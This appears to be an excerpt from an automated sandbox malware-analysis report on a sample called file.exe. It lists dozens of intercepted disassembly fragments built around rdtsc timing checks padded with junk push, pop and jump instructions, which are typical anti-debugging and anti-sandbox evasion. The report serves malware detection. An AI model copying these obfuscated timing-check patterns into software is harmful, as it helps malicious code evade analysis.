Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1167823 second address: 1167828 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11689D3 second address: 11689F8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jg 00007F9934D1A6A6h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007F9934D1A6B3h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169909 second address: 1169995 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DCBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a nop 0x0000000b and di, AA31h 0x00000010 push 00000000h 0x00000012 push 00000000h 0x00000014 push esi 0x00000015 call 00007F9934C73DC8h 0x0000001a pop esi 0x0000001b mov dword ptr [esp+04h], esi 0x0000001f add dword ptr [esp+04h], 00000019h 0x00000027 inc esi 0x00000028 push esi 0x00000029 ret 0x0000002a pop esi 0x0000002b ret 0x0000002c cld 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push ecx 0x00000032 call 00007F9934C73DC8h 0x00000037 pop ecx 0x00000038 mov dword ptr [esp+04h], ecx 0x0000003c add dword ptr [esp+04h], 00000015h 0x00000044 inc ecx 0x00000045 push ecx 0x00000046 ret 0x00000047 pop ecx 0x00000048 ret 0x00000049 mov dword ptr [ebp+122D1BF1h], ecx 0x0000004f or ebx, dword ptr [ebp+122D325Ch] 0x00000055 xchg eax, esi 0x00000056 je 00007F9934C73DCCh 0x0000005c pushad 0x0000005d pushad 0x0000005e popad 0x0000005f pushad 0x00000060 popad 0x00000061 popad 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 jmp 00007F9934C73DD7h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116A8C3 second address: 116A8DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1169BC2 second address: 1169BC6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B7A6 second address: 116B7B0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B7B0 second address: 116B7B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 116B7B4 second address: 116B7B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172C7E second address: 1172C84 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1172C84 second address: 1172C89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B06C second address: 117B072 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B072 second address: 117B08A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 jmp 00007F9934D1A6ABh 0x0000000a push eax 0x0000000b push edx 0x0000000c jp 00007F9934D1A6A6h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B513 second address: 117B519 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B519 second address: 117B521 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 117B521 second address: 117B536 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 jne 00007F9934C73DD6h 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F9934C73DC6h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180CAD second address: 1180CB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180CB5 second address: 1180CBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop esi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1180CBC second address: 1180CC1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118252D second address: 1182556 instructions: 0x00000000 rdtsc 0x00000002 js 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c pushad 0x0000000d jmp 00007F9934C73DD9h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1182556 second address: 118255C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11872A6 second address: 11872CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007F9934C73DCCh 0x0000000e jp 00007F9934C73DC6h 0x00000014 popad 0x00000015 pushad 0x00000016 pushad 0x00000017 jnp 00007F9934C73DC6h 0x0000001d pushad 0x0000001e popad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11872CA second address: 11872CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186B22 second address: 1186B37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edi 0x00000006 jmp 00007F9934C73DCCh 0x0000000b pushad 0x0000000c popad 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186CD9 second address: 1186CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186CDD second address: 1186CE1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186E67 second address: 1186E79 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ACh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186E79 second address: 1186E83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007F9934C73DC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186E83 second address: 1186E8F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186E8F second address: 1186E95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1186FEE second address: 1187009 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F9934D1A6ACh 0x0000000f push esi 0x00000010 push eax 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118713C second address: 1187148 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1187148 second address: 118716B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F9934D1A6B9h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190A77 second address: 1190A7F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190A7F second address: 1190A89 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9934D1A6A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190A89 second address: 1190AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F9934C73DD2h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190AA8 second address: 1190AAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1190AAC second address: 1190AC4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F9934C73DD0h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103132 second address: 110316F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B8h 0x00000007 jg 00007F9934D1A6A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 jmp 00007F9934D1A6ADh 0x00000017 push eax 0x00000018 pop eax 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007F9934D1A6A6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118FAFF second address: 118FB23 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD2h 0x00000007 jne 00007F9934C73DC6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jp 00007F9934C73DC6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118F52C second address: 118F530 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195BBB second address: 1195BC2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195BC2 second address: 1195BE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 js 00007F9934D1A6A6h 0x0000000b jmp 00007F9934D1A6B6h 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151A35 second address: 1151A53 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jp 00007F9934C73DC6h 0x00000011 pop eax 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 jg 00007F9934C73DC8h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151AFB second address: 1151AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151AFF second address: 1151B0C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B0C second address: 1151B10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151B10 second address: 1151B66 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f jne 00007F9934C73DD2h 0x00000015 mov eax, dword ptr [eax] 0x00000017 jmp 00007F9934C73DD2h 0x0000001c mov dword ptr [esp+04h], eax 0x00000020 jmp 00007F9934C73DD0h 0x00000025 pop eax 0x00000026 cld 0x00000027 push 4279368Eh 0x0000002c push eax 0x0000002d push edx 0x0000002e push esi 0x0000002f push edx 0x00000030 pop edx 0x00000031 pop esi 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151E58 second address: 1151E62 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151F9D second address: 1151FA7 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F9934C73DC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FA7 second address: 1151FAC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1151FAC second address: 1151FB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11523AA second address: 11523BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 pop edx 0x00000008 push eax 0x00000009 jnp 00007F9934D1A6AEh 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A933 second address: 113A937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113A937 second address: 113A947 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jo 00007F9934D1A6A6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1194F34 second address: 1194F3A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1195092 second address: 1195096 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1198898 second address: 11988E3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD3h 0x00000007 jmp 00007F9934C73DD0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 jns 00007F9934C73DC6h 0x00000017 popad 0x00000018 pushad 0x00000019 jmp 00007F9934C73DD5h 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11988E3 second address: 11988E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112379 second address: 1112397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 jmp 00007F9934C73DD5h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112397 second address: 11123AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F9934D1A6A6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F9934D1A6B7h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119E116 second address: 119E11A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CD66 second address: 119CD6A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CED1 second address: 119CEDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F9934C73DC6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CEDD second address: 119CEE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CEE2 second address: 119CEF0 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 js 00007F9934C73DC6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CEF0 second address: 119CF02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jo 00007F9934D1A6A8h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF02 second address: 119CF0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF0A second address: 119CF0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF0E second address: 119CF12 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119CF12 second address: 119CF1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DA10 second address: 119DA27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD3h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DA27 second address: 119DA33 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DA33 second address: 119DA4E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnl 00007F9934C73DC6h 0x0000000e jmp 00007F9934C73DCDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DF7D second address: 119DF85 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 119DF85 second address: 119DFA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934C73DD6h 0x00000007 js 00007F9934C73DCEh 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0983 second address: 11A0989 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0989 second address: 11A098F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A098F second address: 11A0998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A0998 second address: 11A099C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A068A second address: 11A06A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6AFh 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A32AA second address: 11A32AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A32AF second address: 11A32D0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6B5h 0x00000007 push eax 0x00000008 push edx 0x00000009 jnp 00007F9934D1A6A6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A32D0 second address: 11A32D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A344F second address: 11A345A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A8C1A second address: 11A8C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 115223E second address: 1152243 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1152243 second address: 1152249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9339 second address: 11A9368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9934D1A6B7h 0x00000009 jmp 00007F9934D1A6B3h 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A9368 second address: 11A936F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11A936F second address: 11A9375 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE59A second address: 11AE59E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE59E second address: 11AE5AB instructions: 0x00000000 rdtsc 0x00000002 jl 00007F9934D1A6A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11AE5AB second address: 11AE5B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADC72 second address: 11ADC78 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADC78 second address: 11ADC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11ADC7C second address: 11ADCA0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9934D1A6ABh 0x00000007 jmp 00007F9934D1A6B0h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f pushad 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
